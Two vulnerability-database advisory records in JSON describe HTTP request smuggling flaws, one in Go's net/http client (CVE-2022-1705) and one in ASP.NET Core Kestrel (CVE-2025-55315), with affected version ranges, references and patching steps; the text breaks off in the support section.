{
  "affected": [],
  "aliases": [
    "CVE-2022-1705"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-08-10T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Acceptance of some invalid Transfer-Encoding headers in the HTTP/1 client in net/http before Go 1.17.12 and Go 1.18.4 allows HTTP request smuggling if combined with an intermediate server that also improperly fails to reject the header as invalid.",
  "id": "GHSA-5hv8-7f46-fxf6",
  "modified": "2026-03-06T18:31:09Z",
  "published": "2022-08-11T00:00:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1705"
    },
    {
      "type": "WEB",
      "url": "https://go.dev/cl/409874"
    },
    {
      "type": "WEB",
      "url": "https://go.dev/cl/410714"
    },
    {
      "type": "WEB",
      "url": "https://go.dev/issue/53188"
    },
    {
      "type": "WEB",
      "url": "https://go.googlesource.com/go/+/e5017a93fcde94f09836200bca55324af037ee5f"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/g/golang-announce/c/nqrv9fbR0zE"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/RQXU752ALW53OJAF5MG3WMR5CCZVLWW6"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2022-0525"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.3.0"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.AspNetCore.Server.Kestrel.Core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.AspNetCore.App.Runtime.linux-arm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0-rc.1.25451.107"
            },
            {
              "fixed": "10.0.0-rc.2.25502.107"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "10.0.0-rc.1.25451.107"
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.AspNetCore.App.Runtime.linux-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0-rc.1.25451.107"
            },
            {
              "fixed": "10.0.0-rc.2.25502.107"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "10.0.0-rc.1.25451.107"
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.AspNetCore.App.Runtime.linux-musl-arm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0-rc.1.25451.107"
            },
            {
              "fixed": "10.0.0-rc.2.25502.107"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "10.0.0-rc.1.25451.107"
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.AspNetCore.App.Runtime.linux-musl-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0-rc.1.25451.107"
            },
            {
              "fixed": "10.0.0-rc.2.25502.107"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "10.0.0-rc.1.25451.107"
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.AspNetCore.App.Runtime.linux-musl-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0-rc.1.25451.107"
            },
            {
              "fixed": "10.0.0-rc.2.25502.107"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "10.0.0-rc.1.25451.107"
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.AspNetCore.App.Runtime.linux-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0-rc.1.25451.107"
            },
            {
              "fixed": "10.0.0-rc.2.25502.107"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "10.0.0-rc.1.25451.107"
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.AspNetCore.App.Runtime.osx-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0-rc.1.25451.107"
            },
            {
              "fixed": "10.0.0-rc.2.25502.107"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "10.0.0-rc.1.25451.107"
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.AspNetCore.App.Runtime.osx-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0-rc.1.25451.107"
            },
            {
              "fixed": "10.0.0-rc.2.25502.107"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "10.0.0-rc.1.25451.107"
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.AspNetCore.App.Runtime.win-arm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0-rc.1.25451.107"
            },
            {
              "fixed": "10.0.0-rc.2.25502.107"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "10.0.0-rc.1.25451.107"
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.AspNetCore.App.Runtime.win-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0-rc.1.25451.107"
            },
            {
              "fixed": "10.0.0-rc.2.25502.107"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "10.0.0-rc.1.25451.107"
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.AspNetCore.App.Runtime.win-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0-rc.1.25451.107"
            },
            {
              "fixed": "10.0.0-rc.2.25502.107"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "10.0.0-rc.1.25451.107"
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.AspNetCore.App.Runtime.win-x86"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0-rc.1.25451.107"
            },
            {
              "fixed": "10.0.0-rc.2.25502.107"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "10.0.0-rc.1.25451.107"
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.0.9"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.AspNetCore.App.Runtime.linux-arm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.0.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.0.9"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.AspNetCore.App.Runtime.linux-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.0.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.0.9"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.AspNetCore.App.Runtime.linux-musl-arm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.0.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.0.9"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.AspNetCore.App.Runtime.linux-musl-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.0.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.0.9"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.AspNetCore.App.Runtime.linux-musl-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.0.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.0.9"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.AspNetCore.App.Runtime.linux-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.0.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.0.9"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.AspNetCore.App.Runtime.osx-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.0.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.0.9"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.AspNetCore.App.Runtime.osx-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.0.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.0.9"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.AspNetCore.App.Runtime.win-arm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.0.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.0.9"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.AspNetCore.App.Runtime.win-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.0.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.0.9"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.AspNetCore.App.Runtime.win-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.0.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.0.9"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.AspNetCore.App.Runtime.win-x86"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.0.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.0.20"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.AspNetCore.App.Runtime.linux-arm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.21"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.0.20"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.AspNetCore.App.Runtime.linux-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.21"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.0.20"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.AspNetCore.App.Runtime.linux-musl-arm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.21"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.0.20"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.AspNetCore.App.Runtime.linux-musl-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.21"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.0.20"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.AspNetCore.App.Runtime.linux-musl-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.21"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.0.20"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.AspNetCore.App.Runtime.linux-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.21"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.0.20"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.AspNetCore.App.Runtime.osx-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.21"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.0.20"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.AspNetCore.App.Runtime.osx-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.21"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.0.20"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.AspNetCore.App.Runtime.win-arm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.21"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.0.20"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.AspNetCore.App.Runtime.win-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.21"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.0.20"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.AspNetCore.App.Runtime.win-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.21"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.0.20"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.AspNetCore.App.Runtime.win-x86"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.21"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-55315"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-14T20:32:06Z",
    "nvd_published_at": "2025-10-14T17:15:44Z",
    "severity": "CRITICAL"
  },
  "details": "# Microsoft Security Advisory CVE-2025-55315: .NET Security Feature Bypass Vulnerability\n\n## \u003ca name=\"executive-summary\"\u003e\u003c/a\u003eExecutive summary\n\nMicrosoft is releasing this security advisory to provide information about a vulnerability in ASP.NET Core 10.0 , ASP.NET Core 9.0 , ASP.NET Core 8.0, and ASP.NET Core 2.3. This advisory also provides guidance on what developers can do to update their applications to address this vulnerability.\n\nInconsistent interpretation of http requests (\u0027http request/response smuggling\u0027) in ASP.NET Core allows an authorized attacker to bypass a security feature over a network.\n\n## Discussion\n\nDiscussion for this issue can be found at https://github.com/dotnet/announcements/issues/371\n\n### \u003ca name=\"mitigation-factors\"\u003e\u003c/a\u003eMitigation factors\n\nMicrosoft has not identified any mitigating factors for this vulnerability.\n\n## \u003ca name=\"affected-software\"\u003e\u003c/a\u003eAffected software\n\n* Any ASP.NET Core 10.0 application running on ASP.NET Core 10.0.0-rc.1.25451.107 or earlier.\n* Any ASP.NET Core 9.0 application running on ASP.NET Core 9.0.9 or earlier.\n* Any ASP.NET Core application running on ASP.NET Core 8.0.20 or earlier.\n* Any ASP.NET Core 2.x application consuming the package Microsoft.AspNetCore.Server.Kestrel.Core version 2.3.0 or earlier.\n\n## \u003ca name=\"affected-packages\"\u003e\u003c/a\u003eAffected Packages\nThe vulnerability affects any Microsoft .NET Core project if it uses any of affected packages versions listed below\n\nPackage name | Affected version | Patched version\n------------ | ---------------- | -------------------------\n[Microsoft.AspNetCore.Server.Kestrel.Core](https://www.nuget.org/packages/Microsoft.AspNetCore.Server.Kestrel.Core) | \u003c= 2.3.0  | 2.3.6\n\n### \u003ca name=\"ASP.NET Core 10\"\u003e\u003c/a\u003eASP.NET Core 10\nPackage name | Affected version | Patched version\n------------ | ---------------- | -------------------------\n[Microsoft.AspNetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm)               | 10.0.0-rc.1.25451.107 | 10.0.0-rc.2.25502.107\n[Microsoft.AspNetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm64)           | 10.0.0-rc.1.25451.107 | 10.0.0-rc.2.25502.107\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm)     | 10.0.0-rc.1.25451.107 | 10.0.0-rc.2.25502.107\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64) | 10.0.0-rc.1.25451.107 | 10.0.0-rc.2.25502.107\n[Microsoft.AspNetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-x64)     | 10.0.0-rc.1.25451.107 | 10.0.0-rc.2.25502.107\n[Microsoft.AspNetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-x64)               | 10.0.0-rc.1.25451.107 | 10.0.0-rc.2.25502.107\n[Microsoft.AspNetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-arm64)               | 10.0.0-rc.1.25451.107 | 10.0.0-rc.2.25502.107\n[Microsoft.AspNetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-x64)                   | 10.0.0-rc.1.25451.107 | 10.0.0-rc.2.25502.107\n[Microsoft.AspNetCore.App.Runtime.win-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm)                   | 10.0.0-rc.1.25451.107 | 10.0.0-rc.2.25502.107\n[Microsoft.AspNetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm64)               | 10.0.0-rc.1.25451.107 | 10.0.0-rc.2.25502.107\n[Microsoft.AspNetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x64)                   | 10.0.0-rc.1.25451.107 | 10.0.0-rc.2.25502.107\n[Microsoft.AspNetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x86)                   | 10.0.0-rc.1.25451.107 | 10.0.0-rc.2.25502.107\n\n### \u003ca name=\"ASP.NET Core 9\"\u003e\u003c/a\u003eASP.NET Core 9\nPackage name | Affected version | Patched version\n------------ | ---------------- | -------------------------\n[Microsoft.AspNetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm)               | \u003e= 9.0.0, \u003c= 9.0.9 | 9.0.10\n[Microsoft.AspNetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm64)           | \u003e= 9.0.0, \u003c= 9.0.9 | 9.0.10\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm)     | \u003e= 9.0.0, \u003c= 9.0.9 | 9.0.10\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64) | \u003e= 9.0.0, \u003c= 9.0.9 | 9.0.10\n[Microsoft.AspNetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-x64)     | \u003e= 9.0.0, \u003c= 9.0.9 | 9.0.10\n[Microsoft.AspNetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-x64)               | \u003e= 9.0.0, \u003c= 9.0.9 | 9.0.10\n[Microsoft.AspNetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-arm64)               | \u003e= 9.0.0, \u003c= 9.0.9 | 9.0.10\n[Microsoft.AspNetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-x64)                   | \u003e= 9.0.0, \u003c= 9.0.9 | 9.0.10\n[Microsoft.AspNetCore.App.Runtime.win-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm)                   | \u003e= 9.0.0, \u003c= 9.0.9 | 9.0.10\n[Microsoft.AspNetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm64)               | \u003e= 9.0.0, \u003c= 9.0.9 | 9.0.10\n[Microsoft.AspNetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x64)                   | \u003e= 9.0.0, \u003c= 9.0.9 | 9.0.10\n[Microsoft.AspNetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x86)                   | \u003e= 9.0.0, \u003c= 9.0.9 | 9.0.10\n\n\n### \u003ca name=\"ASP.NET Core 8\"\u003e\u003c/a\u003eASP.NET Core 8\nPackage name | Affected version | Patched version\n------------ | ---------------- | -------------------------\n[Microsoft.AspNetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm)               | \u003e= 8.0.0, \u003c= 8.0.20 | 8.0.21\n[Microsoft.AspNetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm64)           | \u003e= 8.0.0, \u003c= 8.0.20 | 8.0.21\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm)     | \u003e= 8.0.0, \u003c= 8.0.20 | 8.0.21\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64) | \u003e= 8.0.0, \u003c= 8.0.20 | 8.0.21\n[Microsoft.AspNetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-x64)     | \u003e= 8.0.0, \u003c= 8.0.20 | 8.0.21\n[Microsoft.AspNetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-x64)               | \u003e= 8.0.0, \u003c= 8.0.20 | 8.0.21\n[Microsoft.AspNetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-arm64)               | \u003e= 8.0.0, \u003c= 8.0.20 | 8.0.21\n[Microsoft.AspNetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-x64)                   | \u003e= 8.0.0, \u003c= 8.0.20 | 8.0.21\n[Microsoft.AspNetCore.App.Runtime.win-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm)                   | \u003e= 8.0.0, \u003c= 8.0.20 | 8.0.21\n[Microsoft.AspNetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm64)               | \u003e= 8.0.0, \u003c= 8.0.20 | 8.0.21\n[Microsoft.AspNetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x64)                   | \u003e= 8.0.0, \u003c= 8.0.20 | 8.0.21\n[Microsoft.AspNetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x86)                   | \u003e= 8.0.0, \u003c= 8.0.20 | 8.0.21\n\n## Advisory FAQ\n\n### \u003ca name=\"how-affected\"\u003e\u003c/a\u003eHow do I know if I am affected?\n\nIf you have a runtime or SDK with a version listed, or an affected package listed in [affected software](#affected-packages) or [affected packages](#affected-software), you\u0027re exposed to the vulnerability.\n\n### \u003ca name=\"how-fix\"\u003e\u003c/a\u003eHow do I fix the issue?\n\n1. To fix the issue please install the latest version of .NET 9.0 and .NET 8.0. If you have installed one or more .NET SDKs through Visual Studio, Visual Studio will prompt you to update Visual Studio, which will also update your .NET  SDKs.\n2. If your application references the vulnerable package, update the package reference to the patched version.\n\n* You can list the versions you have installed by running the `dotnet --info` command. You will see output like the following;\n\n```\n.NET SDK:\n Version:           9.0.100\n Commit:            59db016f11\n Workload version:  9.0.100-manifests.3068a692\n MSBuild version:   17.12.7+5b8665660\n\nRuntime Environment:\n OS Name:     Mac OS X\n OS Version:  15.2\n OS Platform: Darwin\n RID:         osx-arm64\n Base Path:   /usr/local/share/dotnet/sdk/9.0.100/\n\n.NET workloads installed:\nThere are no installed workloads to display.\nConfigured to use loose manifests when installing new manifests.\n\nHost:\n  Version:      9.0.0\n  Architecture: arm64\n  Commit:       9d5a6a9aa4\n\n.NET SDKs installed:\n  9.0.100 [/usr/local/share/dotnet/sdk]\n\n.NET runtimes installed:\n  Microsoft.AspNetCore.App 9.0.0 [/usr/local/share/dotnet/shared/Microsoft.AspNetCore.App]\n  Microsoft.NETCore.App 9.0.0 [/usr/local/share/dotnet/shared/Microsoft.NETCore.App]\n\nOther architectures found:\n  x64   [/usr/local/share/dotnet]\n    registered at [/etc/dotnet/install_location_x64]\n\nEnvironment variables:\n  Not set\n\nglobal.json file:\n  Not found\n\nLearn more:\n  https://aka.ms/dotnet/info\n\nDownload .NET:\n  https://aka.ms/dotnet/download\n```\n\n* If you\u0027re using .NET 8.0, you should download and install .NET 8.0.21  Runtime or .NET 8.0.318 SDK (for Visual Studio 2022 v17.10 latest update) from https://dotnet.microsoft.com/download/dotnet-core/8.0.\n* If you\u0027re using .NET 9.0, you should download and install .NET 9.0.10  Runtime or .NET 9.0.111 SDK (for Visual Studio 2022 v17.12 latest update) from https://dotnet.microsoft.com/download/dotnet-core/9.0.\n* If you\u0027re using .NET 10.0, you should download and install .NET 10.0.0-rc.2.25476.107 Runtime or .NET 10.0.100-rc.2.25476.107 SDK (for Visual Studio 2022 v17.12 latest update) from https://dotnet.microsoft.com/download/dotnet-core/10.0.\n* If you\u0027re using [Microsoft.AspNetCore.Server.Kestrel.Core](https://www.nuget.org/packages/Microsoft.AspNetCore.Server.Kestrel.Core) nuget package, update to the latest version 2.3.6 using either of the following methods:\n\n    * Using the NuGet Package Manager UI in Visual Studio:\n            - Open your project in Visual Studio.\n            - Right-click on your project in Solution Explorer and select \"Manage NuGet Packages...\" or navigate to \"Project \u003e Manage NuGet Packages\".\n            - In the NuGet Package Manager window, select the \"Updates\" tab. This tab lists packages with available updates from your configured package sources.\n            - Select the package(s) you wish to update. You can choose a specific version from the dropdown or update to the latest available version.\n            - Click the \"Update\" button.\n\n    * Using the NuGet Package Manager Console in Visual Studio:\n            - Open your project in Visual Studio.\n            - Navigate to \"Tools \u003e NuGet Package Manager \u003e Package Manager Console\".\n            - To update a specific package to its latest version, use the Update-Package command:\n                Code:\n\n                Update-Package -Id Microsoft.AspNetCore.Server.Kestrel.Core\n\n    * Using the .NET CLI (Command Line Interface):\n            Open a terminal or command prompt in your project\u0027s directory.\n            To update a specific package to its latest version:\n                Code:\n\n                dotnet add package Microsoft.AspNetCore.Server.Kestrel.Core\n\nOnce you have installed the updated runtime or SDK, restart your apps for the update to take effect.\n\nAdditionally, if you\u0027ve deployed [self-contained applications](https://docs.microsoft.com/dotnet/core/deploying/#self-contained-deployments-scd) targeting any of the impacted versions, these applications are also vulnerable and must be recompiled and redeployed.\n\n## Other Information\n\n### Reporting Security Issues\n\nIf you have found a potential security issue in .NET 8.0, .NET 9.0 or .NET 10.0, please email details to secure@microsoft.com. Reports may qualify for the Microsoft .NET Core \u0026 .NET 5 Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at \u003chttps://aka.ms/corebounty\u003e.\n\n### Support\n\nYou can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/aspnetcore. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion 